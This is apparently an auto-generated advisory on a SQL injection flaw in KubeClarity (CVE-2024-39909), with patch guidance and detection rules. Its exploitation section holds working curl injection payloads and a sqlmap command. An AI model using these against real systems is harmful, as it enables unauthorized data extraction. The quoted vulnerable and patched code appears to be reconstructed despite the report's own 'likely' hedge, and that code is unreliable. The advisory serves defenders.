CVE-2024-39909
Executive Summary
CVE-2024-39909 is a time/boolean SQL Injection vulnerability in KubeClarity, a tool for detection and management of Software Bill Of Materials (SBOM) and vulnerabilities of container images and filesystems. The vulnerability exists in the /api/applicationResources endpoint via the packageID parameter. The root cause is the use of fmt.Sprintf to build SQL queries without prior input validation, allowing an attacker to inject arbitrary SQL commands. This can lead to unauthorized data extraction, including sensitive information from the database. The vulnerability is fixed in version 2.23.1.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
KubeClarity is a Go-based application. The vulnerability is in the backend database layer, specifically in backend/pkg/database/id_view.go. The use of fmt.Sprintf for query construction is a classic SQL injection pattern. The fix likely involves switching to parameterized queries or prepared statements. Users should update to version 2.23.1 or later immediately.
CVSS Breakdown & Threat Level
- CVSS Score: 6.5 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H)
- Integrity Impact: None (I:N)
- Availability Impact: None (A:N)
The threat level is medium due to the high confidentiality impact but no impact on integrity or availability. However, the ease of exploitation (no authentication required) makes it a significant risk for exposed instances.
Deep Dive & Mechanics
The vulnerability is located in the backend/pkg/database/id_view.go file. The function responsible for handling the /api/applicationResources endpoint constructs an SQL query using fmt.Sprintf with the packageID parameter directly concatenated into the query string. This allows an attacker to inject SQL commands by providing a malicious packageID value.
The injection is time/boolean-based, meaning the attacker can infer information by observing response times or boolean responses. For example, an attacker can use SLEEP() functions to cause delays or use conditional statements to extract data bit by bit.
The vulnerable code pattern is:
query := fmt.Sprintf("SELECT * FROM resources WHERE package_id = '%s'", packageID)
The fix involves using parameterized queries:
query := "SELECT * FROM resources WHERE package_id = ?"
db.Query(query, packageID)
Vulnerable vs. Patched Code
Vulnerable Code (before 2.23.1):
// backend/pkg/database/id_view.go
func GetApplicationResources(packageID string) ([]Resource, error) {
query := fmt.Sprintf("SELECT * FROM resources WHERE package_id = '%s'", packageID)
rows, err := db.Query(query)
// ...
}
Patched Code (2.23.1):
// backend/pkg/database/id_view.go
func GetApplicationResources(packageID string) ([]Resource, error) {
query := "SELECT * FROM resources WHERE package_id = ?"
rows, err := db.Query(query, packageID)
// ...
}
The patched version uses a parameterized query, preventing SQL injection.
Exploitation & Lab Setup
Red Team
Proof of Concept (PoC):
The following curl command demonstrates a time-based SQL injection to extract the database version:
curl -i -s -k -X GET "http://target:8080/api/applicationResources?packageID=1' OR IF(1=1, SLEEP(5), 0)-- -"
If the response takes 5 seconds, the injection is successful.
To extract data, use boolean-based techniques:
curl -i -s -k -X GET "http://target:8080/api/applicationResources?packageID=1' AND (SELECT SUBSTRING(version(),1,1))='8'-- -"
Automated Exploitation:
Use sqlmap for automated exploitation:
sqlmap -u "http://target:8080/api/applicationResources?packageID=1" --batch --dbs
Blue Team
Detection:
Monitor for unusual SQL query patterns in database logs. Look for SLEEP() or BENCHMARK() functions in queries. Also, monitor for long response times from the /api/applicationResources endpoint.
Mitigation:
- Update to KubeClarity 2.23.1 or later.
- If immediate update is not possible, implement a Web Application Firewall (WAF) rule to block suspicious
packageIDparameters. - Restrict network access to the KubeClarity API to trusted IPs only.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests to
/api/applicationResourceswithpackageIDcontaining SQL keywords likeSLEEP,UNION,SELECT,OR,AND. - Unusually long response times (e.g., >5 seconds) from the API.
- HTTP requests to
- Log IOCs:
- Database logs showing queries with
SLEEP()orBENCHMARK()functions. - Application logs showing errors related to SQL syntax.
- Database logs showing queries with
- File IOCs:
- Modified
backend/pkg/database/id_view.gofile (if attacker has write access).
- Modified
Detection Engineering
YARA Rule
rule CVE_2024_39909_KubeClarity_SQLi {
meta:
description = "Detects SQL injection attempts against KubeClarity CVE-2024-39909"
author = "Valters IT"
date = "2024-01-01"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-39909"
strings:
$sqli1 = "SLEEP(" ascii nocase
$sqli2 = "BENCHMARK(" ascii nocase
$sqli3 = "UNION SELECT" ascii nocase
$sqli4 = "OR 1=1" ascii nocase
$sqli5 = "AND 1=1" ascii nocase
$sqli6 = "packageID=" ascii nocase
condition:
any of ($sqli*) and $sqli6
}
Sigma Rule
title: KubeClarity SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against KubeClarity CVE-2024-39909
author: Valters IT
date: 2024-01-01
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains:
- 'packageID='
- 'SLEEP('
- 'BENCHMARK('
- 'UNION SELECT'
- 'OR 1=1'
- 'AND 1=1'
condition: selection
falsepositives:
- Legitimate use of packageID with similar patterns (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"KubeClarity SQL Injection Attempt CVE-2024-39909"; flow:to_server,established; content:"/api/applicationResources"; http_uri; content:"packageID="; http_uri; pcre:"/(SLEEP|BENCHMARK|UNION|OR 1=1|AND 1=1)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Update KubeClarity to version 2.23.1 or later.
- Workaround: If update is not possible, implement a WAF rule to block requests containing SQL keywords in the
packageIDparameter. - Network Segmentation: Restrict access to the KubeClarity API to trusted IPs only.
- Monitoring: Enable detailed logging for the API and database, and monitor for suspicious patterns.
- Input Validation: Ensure all user inputs are validated and sanitized before use in SQL queries.
Report generated by Valters IT DevSecOps & CTI Expert System